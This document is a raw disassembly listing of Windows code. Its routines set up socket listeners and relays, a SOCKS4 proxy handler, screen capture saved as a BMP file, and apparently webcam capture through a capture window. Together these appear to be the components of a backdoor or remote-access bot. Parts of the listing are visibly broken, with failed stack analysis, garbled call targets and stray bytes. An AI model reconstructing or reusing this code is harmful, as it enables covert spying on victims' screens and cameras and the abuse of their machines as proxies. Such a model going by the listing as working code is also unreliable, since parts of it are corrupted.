call dword_43F668
push 6
push edi
push 2
mov [ebp+var_E], ax
mov [ebp+var_C], esi
mov [ebp+arg_0], ebx
call dword_43F6E8
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_407D42
mov eax, [ebp+var_3C]
push edi
imul eax, 234h
push 401h
push esi
push ebx
mov dword_4450CC[eax], ebx
call dword_43F584
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call dword_43F694
test eax, eax
jnz loc_407D42
push 0Ah
push ebx
call dword_43F690
test eax, eax
jnz loc_407D42
loc_407C88: ; CODE XREF: sub_407BDE+BEj
; sub_407BDE+13Fj
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_24]
push eax
push ebx
call dword_43F6FC
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_407C88
movzx eax, [ebp+var_22]
push [ebp+var_3C]
mov [ebp+var_148], edi
mov [ebp+var_2C], esi
push eax
push [ebp+var_20]
call dword_43F6F4
push eax
lea eax, [ebp+var_34C]
push offset unk_42B584
push eax
call sub_4172B0
push edi
lea eax, [ebp+var_34C]
push 10h
push eax
call sub_416D5C
mov [ebp+var_38], eax
imul eax, 234h
mov ecx, [ebp+var_3C]
add esp, 20h
mov dword_4450C4[eax], ecx
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_14C]
push esi
push eax
push offset loc_407D66
push esi
push esi
call near ptr 2660D4Bh
nop
mov ecx, [ebp+var_38]
imul ecx, 234h
cmp eax, esi
mov dword_4450D4[ecx], eax
jz short loc_407D2D
loc_407D1A: ; CODE XREF: sub_407BDE+14Dj
cmp [ebp+var_2C], esi
jnz loc_407C88
push 32h
nop
call near ptr 25F0439h
jmp short loc_407D1A
; ---------------------------------------------------------------------------
loc_407D2D: ; CODE XREF: sub_407BDE+13Aj
call near ptr 2630313h
nop
push eax
push offset unk_42B538
call sub_40BFE1
pop ecx
pop ecx
jmp short loc_407D45
; ---------------------------------------------------------------------------
loc_407D42: ; CODE XREF: sub_407BDE+61j
; sub_407BDE+93j ...
mov edi, [ebp+arg_0]
loc_407D45: ; CODE XREF: sub_407BDE+162j
push edi
call dword_43F700
push ebx
call dword_43F700
push [ebp+var_3C]
call sub_417078
pop ecx
push esi
nop
call near ptr 25E02EAh
pop edi
pop esi
pop ebx
sub_407BDE endp ; sp-analysis failed
loc_407D66: ; DATA XREF: sub_407BDE+11Co
push ebp
mov ebp, esp
mov eax, 1344h
call sub_417B30
mov eax, [ebp+8]
push ebx
push esi
push edi
push 4Ah
mov esi, eax
pop ecx
lea edi, [ebp-144h]
rep movsd
mov ebx, [ebp-30h]
push 1
pop ecx
mov [ebp-4], ebx
push 6
push ecx
push 2
mov [eax+120h], ecx
call dword_43F6E8
mov esi, eax
xor edi, edi
cmp esi, 0FFFFFFFFh
mov [ebp+8], esi
jz loc_407F1C
push 10h
lea eax, [ebp-18h]
push edi
push eax
call sub_417330
add esp, 0Ch
mov word ptr [ebp-18h], 2
push dword ptr [ebp-3Ch]
call dword_43F668
mov [ebp-16h], ax
lea eax, [ebp-13Ch]
push eax
call dword_43F6A8
cmp eax, 0FFFFFFFFh
mov [ebp-8], eax
jnz short loc_407DF6
lea eax, [ebp-13Ch]
push eax
call dword_43F6EC
jmp short loc_407E04
; ---------------------------------------------------------------------------
loc_407DF6: ; CODE XREF: ___:00407DE5j
push 2
lea eax, [ebp-8]
push 4
push eax
call dword_43F620
loc_407E04: ; CODE XREF: ___:00407DF4j
cmp eax, edi
jz loc_407F1C
mov eax, [eax+0Ch]
push 10h
mov eax, [eax]
mov eax, [eax]
mov [ebp-14h], eax
lea eax, [ebp-18h]
push eax
push esi
call dword_43F610
cmp eax, 0FFFFFFFFh
jz loc_407F1C
movzx eax, word ptr [ebp-16h]
push dword ptr [ebp-34h]
mov [ebp-20h], edi
push eax
push dword ptr [ebp-14h]
call dword_43F6F4
push eax
lea eax, [ebp-344h]
push offset unk_42B62C
push eax
call sub_4172B0
push esi
lea eax, [ebp-344h]
push 10h
push eax
call sub_416D5C
imul ebx, 234h
mov [ebp-30h], eax
imul eax, 234h
mov ecx, [ebp-34h]
lea esi, dword_4450CC[ebx]
mov dword_4450C4[eax], ecx
add esp, 20h
mov ecx, [esi]
mov dword_4450D0[eax], ecx
lea eax, [ebp-1Ch]
push eax
lea eax, [ebp-144h]
push edi
push eax
push offset loc_407F4D
push edi
push edi
call near ptr 2660D4Bh
nop
mov ecx, [ebp-30h]
imul ecx, 234h
cmp eax, edi
mov dword_4450D4[ecx], eax
jz short loc_407F09
loc_407EB6: ; CODE XREF: ___:00407EC3j
cmp [ebp-20h], edi
jnz short loc_407EC5
push 32h
nop
call near ptr 25F0439h
jmp short loc_407EB6
; ---------------------------------------------------------------------------
loc_407EC5: ; CODE XREF: ___:00407EB9j
mov ebx, 1000h
loc_407ECA: ; CODE XREF: ___:00407F05j
push ebx
lea eax, [ebp-1344h]
push edi
push eax
call sub_417330
add esp, 0Ch
lea eax, [ebp-1344h]
push edi
push ebx
push eax
push dword ptr [esi]
call dword_43F680
cmp eax, edi
jle short loc_407F1C
push edi
push eax
lea eax, [ebp-1344h]
push eax
push dword ptr [ebp+8]
call dword_43F6B8
cmp eax, 0FFFFFFFFh
jnz short loc_407ECA
jmp short loc_407F1C
; ---------------------------------------------------------------------------
loc_407F09: ; CODE XREF: ___:00407EB4j
nop
call near ptr 2630313h
push eax
push offset unk_42B5DC
call sub_40BFE1
pop ecx
pop ecx
loc_407F1C: ; CODE XREF: ___:00407DAAj
; ___:00407E06j ...
mov eax, [ebp-4]
imul eax, 234h
push dword_4450CC[eax]
call dword_43F700
push dword ptr [ebp+8]
call dword_43F700
push dword ptr [ebp-4]
call sub_417078
pop ecx
push edi
call near ptr 25E02EAh
nop
pop edi
pop esi
pop ebx
loc_407F4D: ; DATA XREF: ___:00407E96o
push ebp
mov ebp, esp
mov eax, 1128h
call sub_417B30
mov eax, [ebp+8]
push esi
push edi
push 4Ah
pop ecx
mov esi, eax
lea edi, [ebp-128h]
rep movsd
mov esi, [ebp-14h]
mov dword ptr [eax+124h], 1
imul esi, 234h
mov edi, 1000h
loc_407F84: ; CODE XREF: ___:00407FC9j
push edi
lea eax, [ebp-1128h]
push 0
push eax
call sub_417330
add esp, 0Ch
lea eax, [ebp-1128h]
push 0
push edi
push eax
push dword_4450D0[esi]
call dword_43F680
test eax, eax
jle short loc_407FCB
push 0
push eax
lea eax, [ebp-1128h]
push eax
push dword_4450CC[esi]
call dword_43F6B8
cmp eax, 0FFFFFFFFh
jnz short loc_407F84
loc_407FCB: ; CODE XREF: ___:00407FAEj
push dword_4450D0[esi]
call dword_43F700
push dword ptr [ebp-14h]
call sub_417078
pop ecx
push 0
nop
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
add al, [ebx+5E5F021Dh]
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407FEA proc near ; DATA XREF: sub_40EE72+5E51o
var_5D4 = dword ptr -5D4h
var_5D0 = dword ptr -5D0h
var_4D0 = byte ptr -4D0h
var_4CF = byte ptr -4CFh
var_4CE = word ptr -4CEh
var_4CC = dword ptr -4CCh
var_4C8 = byte ptr -4C8h
var_2D4 = byte ptr -2D4h
var_D4 = dword ptr -0D4h
var_D0 = byte ptr -0D0h
var_C8 = byte ptr -0C8h
var_44 = byte ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 2D4h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 10h
mov esi, eax
pop ebx
lea edi, [ebp+var_D4]
push 2Ch
mov [ebp+var_4], ebx
pop ecx
rep movsd
push 1
xor esi, esi
pop edi
mov [eax+0A8h], edi
push ebx
lea eax, [ebp+var_14]
push esi
push eax
call sub_417330
add esp, 0Ch
mov word ptr [ebp+var_14], 2
push [ebp+var_40]
call dword_43F668
push 6
push edi
push 2
mov word ptr [ebp+var_14+2], ax
mov [ebp+var_10], esi
call dword_43F6E8
mov edi, eax
mov eax, [ebp+var_3C]
imul eax, 234h
push ebx
mov dword_4450CC[eax], edi
lea eax, [ebp+var_14]
push eax
push edi
call dword_43F694
test eax, eax
jnz loc_40818C
push 0Ah
push edi
call dword_43F690
test eax, eax
jnz loc_40818C
push [ebp+var_40]
push [ebp+var_D4]
call sub_40AEE0
pop ecx
push eax
lea eax, [ebp+var_2D4]
push offset unk_42B75C
push eax
call sub_4172B0
add esp, 10h
cmp [ebp+var_30], esi
jnz short loc_4080C5
push esi
lea eax, [ebp+var_2D4]
push [ebp+var_34]
push eax
lea eax, [ebp+var_D0]
push eax
push [ebp+var_D4]
call sub_40D679
add esp, 14h
loc_4080C5: ; CODE XREF: sub_407FEA+B9j
; sub_407FEA+172j ...
lea eax, [ebp+var_2D4]
push eax
call sub_40BF6D
pop ecx
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_24]
push eax
push edi
call dword_43F6FC
push [ebp+var_3C]
mov ebx, eax
movzx eax, [ebp+var_22]
push eax
mov [ebp+var_28], esi
push [ebp+var_20]
call dword_43F6F4
push eax
lea eax, [ebp+var_2D4]
push offset unk_42B708
push eax
call sub_4172B0
push ebx
lea eax, [ebp+var_2D4]
push 11h
push eax
call sub_416D5C
mov [ebp+var_38], eax
imul eax, 234h
mov ecx, [ebp+var_3C]
add esp, 20h
mov dword_4450C4[eax], ecx
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_D4]
push esi
push eax
push offset loc_4081EF
push esi
push esi
call near ptr 2660D4Bh
nop
mov ecx, [ebp+var_38]
imul ecx, 234h
cmp eax, esi
mov dword_4450D4[ecx], eax
jz short loc_40816C
loc_408159: ; CODE XREF: sub_407FEA+180j
cmp [ebp+var_28], esi
jnz loc_4080C5
push 5
nop
call near ptr 25F0439h
jmp short loc_408159
; ---------------------------------------------------------------------------
loc_40816C: ; CODE XREF: sub_407FEA+16Dj
call near ptr 2630313h
nop
push eax
lea eax, [ebp+var_2D4]
push offset unk_42B6C0
push eax
call sub_4172B0
add esp, 0Ch
jmp loc_4080C5
; ---------------------------------------------------------------------------
loc_40818C: ; CODE XREF: sub_407FEA+7Bj
; sub_407FEA+8Cj
push edi
call dword_43F700
push [ebp+var_40]
lea eax, [ebp+var_2D4]
push offset unk_42B680
push eax
call sub_4172B0
add esp, 0Ch
cmp [ebp+var_30], esi
jnz short loc_4081CF
push esi
lea eax, [ebp+var_2D4]
push [ebp+var_34]
push eax
lea eax, [ebp+var_D0]
push eax
push [ebp+var_D4]
call sub_40D679
add esp, 14h
loc_4081CF: ; CODE XREF: sub_407FEA+1C3j
lea eax, [ebp+var_2D4]
push eax
call sub_40BF6D
push [ebp+var_3C]
call sub_417078
pop ecx
pop ecx
push esi
nop
call near ptr 25E02EAh
pop edi
pop esi
pop ebx
loc_4081EF: ; DATA XREF: sub_407FEA+14Fo
push ebp
mov ebp, esp
sub esp, 5D4h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 2Ch
mov esi, eax
pop ecx
lea edi, [ebp+var_C8]
rep movsd
mov esi, [ebp+var_2C]
push 1
mov [ebp+arg_0], esi
imul esi, 234h
pop edi
lea esi, dword_4450CC[esi]
mov [eax+0ACh], edi
xor ebx, ebx
mov eax, [esi]
mov [ebp+var_8], 5
mov [ebp+var_5D0], eax
lea eax, [ebp+var_8]
push eax
push ebx
lea eax, [ebp+var_5D4]
push ebx
push eax
push ebx
mov [ebp+var_4], ebx
mov [ebp+var_5D4], edi
call dword_43F650
test eax, eax
jnz short loc_408270
push dword ptr [esi]
call dword_43F700
push [ebp+arg_0]
call sub_417078
pop ecx
push ebx
nop
call near ptr 25E02EAh
loc_408270: ; CODE XREF: sub_407FEA+26Cj
push ebx
lea eax, [ebp+var_4D0]
push 408h
push eax
push dword ptr [esi]
call dword_43F680
test eax, eax
jg short loc_4082A1
push dword ptr [esi]
call dword_43F700
push [ebp+arg_0]
call sub_417078
pop ecx
push ebx
nop
call near ptr 25E02EAh
loc_4082A1: ; CODE XREF: sub_407FEA+29Dj
cmp [ebp+var_4D0], 4
jnz loc_40849B
cmp [ebp+var_4CF], 1
jnz loc_40849B
cmp [ebp+var_44], bl
jz short loc_408337
lea eax, [ebp+var_44]
push eax
lea eax, [ebp+var_4C8]
push eax
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz short loc_408337
lea eax, [ebp+var_44]
push eax
lea eax, [ebp+var_4C8]
push eax
push offset unk_42B830
call sub_40BFE1
push 400h
lea eax, [ebp+var_4C8]
push ebx
push eax
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Dh
call sub_417330
add esp, 18h
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call dword_43F6B8
push dword ptr [esi]
call dword_43F700
push [ebp+arg_0]
call sub_417078
pop ecx
push ebx
nop
call near ptr 25E02EAh
loc_408337: ; CODE XREF: sub_407FEA+2D4j
; sub_407FEA+2EAj
push 10h
lea eax, [ebp+var_18]
push ebx
push eax
call sub_417330
mov ax, [ebp+var_4CE]
add esp, 0Ch
mov [ebp+var_16], ax
mov eax, [ebp+var_4CC]
push 6
push edi
push 2
mov [ebp+var_18], 2
mov [ebp+var_14], eax
call dword_43F6E8
mov edi, eax
cmp edi, 0FFFFFFFFh
jnz short loc_4083CF
call dword_43F5FC
push eax
push offset unk_42B7E4
call sub_40BFE1
push 400h
lea eax, [ebp+var_4C8]
push ebx
push eax
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Bh
call sub_417330
add esp, 14h
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call dword_43F6B8
push dword ptr [esi]
call dword_43F700
push [ebp+arg_0]
call sub_417078
pop ecx
push ebx
nop
call near ptr 25E02EAh
loc_4083CF: ; CODE XREF: sub_407FEA+386j
lea eax, [ebp+var_18]
push 10h
push eax
push edi
call dword_43F610
cmp eax, 0FFFFFFFFh
jnz short loc_40843E
call dword_43F5FC
push eax
push offset unk_42B794
call sub_40BFE1
push 400h
lea eax, [ebp+var_4C8]
push ebx
push eax
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Bh
call sub_417330
add esp, 14h
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call dword_43F6B8
push dword ptr [esi]
call dword_43F700
push [ebp+arg_0]
call sub_417078
pop ecx
push ebx
nop
call near ptr 25E02EAh
loc_40843E: ; CODE XREF: sub_407FEA+3F5j
push 400h
lea eax, [ebp+var_4C8]
push ebx
push eax
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Ah
call sub_417330
add esp, 0Ch
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call dword_43F6B8
push dword ptr [esi]
push edi
call sub_4084B3
pop ecx
pop ecx
push edi
call dword_43F700
push dword ptr [esi]
call dword_43F700
push [ebp+arg_0]
call sub_417078
pop ecx
push ebx
nop
call near ptr 25E02EAh
loc_40849B: ; CODE XREF: sub_407FEA+2BEj
; sub_407FEA+2CBj
push dword ptr [esi]
call dword_43F700
push [ebp+arg_0]
call sub_417078
pop ecx
push ebx
nop
call near ptr 25E02EAh
sub_407FEA endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4084B3 proc near ; CODE XREF: sub_407FEA+48Bp
var_504 = byte ptr -504h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
var_FC = dword ptr -0FCh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 504h
push ebx
mov ebx, [ebp+arg_4]
push esi
push edi
xor edi, edi
mov esi, 400h
loc_4084C9: ; CODE XREF: sub_4084B3+C5j
; sub_4084B3+F5j
mov [ebp+var_100], ebx
mov [ebp+var_104], 1
xor ecx, ecx
lea eax, [ebp+var_100]
loc_4084E1: ; CODE XREF: sub_4084B3+3Cj
mov edx, [ebp+arg_0]
cmp [eax], edx
jz short loc_4084F1
inc ecx
add eax, 4
cmp ecx, 1
jb short loc_4084E1
loc_4084F1: ; CODE XREF: sub_4084B3+33j
cmp ecx, 1
jnz short loc_408506
mov [ebp+var_FC], edx
mov [ebp+var_104], 2
loc_408506: ; CODE XREF: sub_4084B3+41j
push esi
lea eax, [ebp+var_504]
push edi
push eax
call sub_417330
add esp, 0Ch
lea eax, [ebp+var_104]
push edi
push edi
push edi
push eax
push edi
call dword_43F650
lea eax, [ebp+var_104]
push eax
push ebx
call dword_43F560
test eax, eax
jz short loc_408566
push edi
lea eax, [ebp+var_504]
push esi
push eax
push ebx
call dword_43F680
cmp eax, 0FFFFFFFFh
jz short loc_4085AE
push edi
push eax
lea eax, [ebp+var_504]
push eax
push [ebp+arg_0]
call dword_43F6B8
cmp eax, 0FFFFFFFFh
jz short loc_4085AE
loc_408566: ; CODE XREF: sub_4084B3+85j
lea eax, [ebp+var_104]
push eax
push [ebp+arg_0]
call dword_43F560
test eax, eax
jz loc_4084C9
push edi
lea eax, [ebp+var_504]
push esi
push eax
push [ebp+arg_0]
call dword_43F680
cmp eax, 0FFFFFFFFh
jz short loc_4085AE
push edi
push eax
lea eax, [ebp+var_504]
push eax
push ebx
call dword_43F6B8
cmp eax, 0FFFFFFFFh
jnz loc_4084C9
loc_4085AE: ; CODE XREF: sub_4084B3+9Aj
; sub_4084B3+B1j ...
pop edi
pop esi
pop ebx
leave
retn
sub_4084B3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4085B3 proc near ; CODE XREF: sub_40EE72+45B1p
var_484 = byte ptr -484h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = word ptr -78h
var_76 = word ptr -76h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = word ptr -4Ch
var_4A = word ptr -4Ah
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_2E = dword ptr -2Eh
var_2A = word ptr -2Ah
var_28 = word ptr -28h
var_26 = dword ptr -26h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 484h
push ebx
push esi
xor esi, esi
push edi
push esi
push esi
push esi
push offset aDisplay ; "DISPLAY"
call dword_43F654
mov edi, eax
cmp edi, esi
mov [ebp+var_20], edi
jz loc_4087E7
push 8
push edi
call dword_43F670
push 0Ah
push edi
mov [ebp+var_8], eax
call dword_43F670
push 0Ch
push edi
mov [ebp+var_C], eax
call dword_43F670
cmp eax, 8
mov [ebp+var_10], eax
ja short loc_408615
push 18h
push edi
call dword_43F670
mov ebx, 100h
jmp short loc_408617
; ---------------------------------------------------------------------------
loc_408615: ; CODE XREF: sub_4085B3+50j
xor ebx, ebx
loc_408617: ; CODE XREF: sub_4085B3+60j
push edi
call dword_43F6B4
cmp eax, esi
mov [ebp+var_4], eax
jz loc_4087CC
mov eax, [ebp+var_8]
push esi
mov [ebp+var_80], eax
mov eax, [ebp+var_C]
mov [ebp+var_7C], eax
mov ax, word ptr [ebp+var_10]
mov [ebp+var_76], ax
lea eax, [ebp+var_18]
push esi
push eax
lea eax, [ebp+var_84]
push 1
push eax
push edi
mov [ebp+var_84], 28h
mov [ebp+var_78], 1
mov [ebp+var_74], esi
mov [ebp+var_70], esi
mov [ebp+var_6C], esi
mov [ebp+var_68], esi
mov [ebp+var_64], ebx
mov [ebp+var_60], ebx
call dword_43F6AC
cmp eax, esi
mov [ebp+var_1C], eax
jz loc_4087D7
push eax
push [ebp+var_4]
call dword_43F544
cmp eax, esi
jz loc_4087D7
cmp eax, 0FFFFFFFFh
jz loc_4087D7
push 0CC0020h
push esi
push esi
push edi
push [ebp+var_C]
push [ebp+var_8]
push esi
push esi
push [ebp+var_4]
call dword_43F6B0
test eax, eax
jz loc_4087D7
cmp ebx, esi
jz short loc_4086D4
lea eax, [ebp+var_484]
push eax
push ebx
push esi
push [ebp+var_4]
call dword_43F598
mov ebx, eax
loc_4086D4: ; CODE XREF: sub_4085B3+10Bj
mov edi, [ebp+var_10]
mov ecx, [ebp+var_8]
imul edi, [ebp+var_C]
imul edi, ecx
mov eax, ebx
push esi
shr edi, 3
shl eax, 2
mov [ebp+var_8], eax
push 80h
lea edx, [eax+edi+36h]
add eax, 36h
push 2
mov [ebp+var_26], eax
mov eax, [ebp+var_C]
push esi
push esi
push 40000000h
push [ebp+arg_0]
mov [ebp+var_50], eax
mov ax, word ptr [ebp+var_10]
mov [ebp+var_30], 4D42h
mov [ebp+var_2E], edx
mov [ebp+var_2A], si
mov [ebp+var_28], si
mov [ebp+var_58], 28h
mov [ebp+var_54], ecx
mov [ebp+var_4C], 1
mov [ebp+var_4A], ax
mov [ebp+var_48], esi
mov [ebp+var_44], esi
mov [ebp+var_40], esi
mov [ebp+var_3C], esi
mov [ebp+var_38], ebx
mov [ebp+var_34], esi
call near ptr 2630000h
nop
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz short loc_4087B7
lea ecx, [ebp+var_14]
push esi
push ecx
lea ecx, [ebp+var_30]
push 0Eh
push ecx
push eax
nop
call near ptr 2620000h
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_58]
push 28h
push eax
push [ebp+arg_0]
call near ptr 2620000h
nop
cmp ebx, esi
jz short loc_408799
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_484]
push [ebp+var_8]
push eax
push [ebp+arg_0]
nop
call near ptr 2620000h
loc_408799: ; CODE XREF: sub_4085B3+1CCj
lea eax, [ebp+var_14]
push esi
push eax
push edi
push [ebp+var_18]
push [ebp+arg_0]
nop
call near ptr 2620000h
push [ebp+arg_0]
nop
call near ptr 2611A31h
push 1
pop esi
loc_4087B7: ; CODE XREF: sub_4085B3+1A2j
push [ebp+var_1C]
call dword_43F5CC
push [ebp+var_4]
call dword_43F530
mov edi, [ebp+var_20]
loc_4087CC: ; CODE XREF: sub_4085B3+70j
push edi
call dword_43F530
mov eax, esi
jmp short loc_4087E9
; ---------------------------------------------------------------------------
loc_4087D7: ; CODE XREF: sub_4085B3+C7j
; sub_4085B3+D9j ...
push edi
call dword_43F530
push [ebp+var_4]
call dword_43F530
loc_4087E7: ; CODE XREF: sub_4085B3+23j
xor eax, eax
loc_4087E9: ; CODE XREF: sub_4085B3+222j
pop edi
pop esi
pop ebx
leave
retn
sub_4085B3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4087EE proc near ; CODE XREF: sub_40EE72+46EDp
var_34 = byte ptr -34h
var_20 = dword ptr -20h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 34h
push ebx
push esi
push edi
push 1
pop esi
xor ebx, ebx
push esi
push dword_43E100
push 78h
push 0A0h
push ebx
push ebx
push 40000000h
push offset aWindow ; "Window"
call dword_43F5C0
mov edi, eax
cmp edi, ebx
mov [ebp+var_4], edi
jnz short loc_40882C
mov eax, esi
jmp loc_4089E2
; ---------------------------------------------------------------------------
loc_40882C: ; CODE XREF: sub_4087EE+35j
push edi
call dword_43F608
test eax, eax
jz short loc_408849
push ebx
push [ebp+arg_4]
push 40Ah
push edi
call dword_43F6C4
jmp short loc_40884B
; ---------------------------------------------------------------------------
loc_408849: ; CODE XREF: sub_4087EE+47j
xor eax, eax
loc_40884B: ; CODE XREF: sub_4087EE+59j
cmp eax, ebx
jnz short loc_408856
loc_40884F: ; CODE XREF: sub_4087EE+88j
; sub_4087EE+BCj
mov ebx, esi
jmp loc_4089D7
; ---------------------------------------------------------------------------
loc_408856: ; CODE XREF: sub_4087EE+5Fj
push edi
call dword_43F608
test eax, eax
jz short loc_408873
lea eax, [ebp+var_34]
push eax
push 2Ch
push 40Eh
push edi
call dword_43F6C4
loc_408873: ; CODE XREF: sub_4087EE+71j
cmp [ebp+var_20], ebx
jz short loc_40884F
push edi
call dword_43F608
test eax, eax
mov edi, 42Ch
jz short loc_408899
push ebx
push ebx
push edi
push [ebp+var_4]
call dword_43F6C4
mov [ebp+arg_4], eax
jmp short loc_40889C
; ---------------------------------------------------------------------------
loc_408899: ; CODE XREF: sub_4087EE+98j
mov [ebp+arg_4], ebx
loc_40889C: ; CODE XREF: sub_4087EE+A9j
push [ebp+arg_4]
call sub_417B89
cmp eax, ebx
pop ecx
mov [ebp+var_8], eax
jz short loc_40884F
push [ebp+arg_4]
call sub_417B89
mov esi, eax
pop ecx
cmp esi, ebx
jnz short loc_4088C3
push 1
pop ebx
jmp loc_4089D7
; ---------------------------------------------------------------------------
loc_4088C3: ; CODE XREF: sub_4087EE+CBj
push [ebp+var_4]
call dword_43F608
test eax, eax
jz short loc_4088E0
push [ebp+var_8]
push [ebp+arg_4]
push edi
push [ebp+var_4]
call dword_43F6C4
loc_4088E0: ; CODE XREF: sub_4087EE+E0j
push [ebp+arg_4]
push [ebp+var_8]
push esi
call sub_417390
mov ecx, [ebp+arg_8]
add esp, 0Ch
cmp ecx, ebx
jg short loc_4088FB
mov ecx, 280h
loc_4088FB: ; CODE XREF: sub_4087EE+106j
mov eax, [ebp+arg_C]
cmp eax, ebx
jg short loc_408907
mov eax, 1E0h
loc_408907: ; CODE XREF: sub_4087EE+112j
push [ebp+var_4]
mov [esi+4], ecx
mov [esi+8], eax
mov word ptr [esi+0Eh], 10h
mov [esi+14h], ebx
mov [esi+10h], ebx
mov [esi+20h], ebx
mov [esi+24h], ebx
mov word ptr [esi+0Ch], 1
mov [esi+28h], bl
mov [esi+29h], bl
mov [esi+2Ah], bl
mov [esi+2Bh], bl
call dword_43F608
test eax, eax
mov edi, 42Dh
jz short loc_408951
push esi
push [ebp+arg_4]
push edi
push [ebp+var_4]
call dword_43F6C4
loc_408951: ; CODE XREF: sub_4087EE+153j
push [ebp+var_4]
call dword_43F608
test eax, eax
jz short loc_40896E
push ebx
push ebx
push 43Dh
push [ebp+var_4]
call dword_43F6C4
loc_40896E: ; CODE XREF: sub_4087EE+16Ej
push [ebp+var_4]
call dword_43F608
test eax, eax
jz short loc_40898D
push [ebp+arg_0]
push ebx
push 419h
push [ebp+var_4]
call dword_43F6C4
loc_40898D: ; CODE XREF: sub_4087EE+18Bj
push [ebp+var_4]
call dword_43F608
test eax, eax
jz short loc_4089AA
push [ebp+var_8]
push [ebp+arg_4]
push edi
push [ebp+var_4]
call dword_43F6C4
loc_4089AA: ; CODE XREF: sub_4087EE+1AAj
push [ebp+var_8]
call sub_417C3B
push esi
call sub_417C3B
pop ecx
pop ecx
push [ebp+var_4]
call dword_43F608
test eax, eax
jz short loc_4089D7
push ebx
push ebx
push 40Bh
push [ebp+var_4]
call dword_43F6C4
loc_4089D7: ; CODE XREF: sub_4087EE+63j
; sub_4087EE+D0j ...
push [ebp+var_4]
call dword_43F718
mov eax, ebx
loc_4089E2: ; CODE XREF: sub_4087EE+39j
pop edi
pop esi
pop ebx
leave
retn
sub_4087EE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4089E7 proc near ; CODE XREF: sub_40EE72+47A6p
var_90 = byte ptr -90h
var_7C = dword ptr -7Ch
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 90h
push ebx
push esi
push edi
push 1
pop esi
xor ebx, ebx
push esi
push dword_43E100
push 78h
push 0A0h
push ebx
push ebx
push 40000000h
push offset aWindow ; "Window"
call dword_43F5C0
mov edi, eax
cmp edi, ebx
jnz short loc_408A25
mov eax, esi
jmp loc_408C21
; ---------------------------------------------------------------------------
loc_408A25: ; CODE XREF: sub_4089E7+35j
push edi
call dword_43F608
test eax, eax
jz short loc_408A42
push ebx
push [ebp+arg_4]
push 40Ah
push edi
call dword_43F6C4
jmp short loc_408A44
; ---------------------------------------------------------------------------
loc_408A42: ; CODE XREF: sub_4089E7+47j
xor eax, eax
loc_408A44: ; CODE XREF: sub_4089E7+59j
cmp eax, ebx
jnz short loc_408A4F
loc_408A48: ; CODE XREF: sub_4089E7+8Bj
; sub_4089E7+BCj
mov ebx, esi
jmp loc_408C18
; ---------------------------------------------------------------------------
loc_408A4F: ; CODE XREF: sub_4089E7+5Fj
push edi
call dword_43F608
test eax, eax
jz short loc_408A6F
lea eax, [ebp+var_90]
push eax
push 2Ch
push 40Eh
push edi
call dword_43F6C4
loc_408A6F: ; CODE XREF: sub_4089E7+71j
cmp [ebp+var_7C], ebx
jz short loc_408A48
push edi
call dword_43F608
test eax, eax
